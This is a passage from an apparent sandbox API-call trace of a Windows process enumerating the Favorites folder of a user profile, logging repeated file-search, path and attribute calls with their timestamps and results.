lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.651] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fe350, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.651] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0162.651] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0162.651] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0162.651] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0162.651] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0162.651] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.652] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links" (normalized: "c:\\users\\keecfmwgj\\favorites\\links")) returned 0x11 [0162.671] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links" (normalized: "c:\\users\\keecfmwgj\\favorites\\links")) returned 0x11 [0162.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0162.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Links", lpFilePart=0x0) returned 0x22 [0162.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0162.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Links", lpFilePart=0x0) returned 0x22 [0162.671] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\links\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0162.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Links", lpFilePart=0x0) returned 0x22 [0162.672] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\links\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.672] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.672] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.672] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0162.672] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0162.672] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.673] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.673] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.673] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0162.673] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.673] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.674] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\links\\web slice gallery.url")) returned 0x20 [0162.675] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites")) returned 0x10 [0162.675] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites")) returned 0x10 [0162.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0162.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x2f [0162.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0162.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x2f [0162.676] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0162.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x2f [0162.698] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.698] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.698] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee50dc0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0162.698] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee4e6b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0162.699] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee55be0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0162.699] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0162.699] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0162.699] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0162.699] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.699] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.699] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee50dc0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0162.700] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee4e6b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0162.700] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee55be0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0162.701] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0162.701] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0162.701] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.702] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.704] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\ie add-on site.url")) returned 0x20 [0162.706] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\ie site on microsoft.com.url")) returned 0x20 [0162.706] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft at home.url")) returned 0x20 [0162.707] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft at work.url")) returned 0x20 [0162.708] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft store.url")) returned 0x20 [0162.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites")) returned 0x10 [0162.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites")) returned 0x10 [0162.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0162.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x29 [0162.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0162.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | 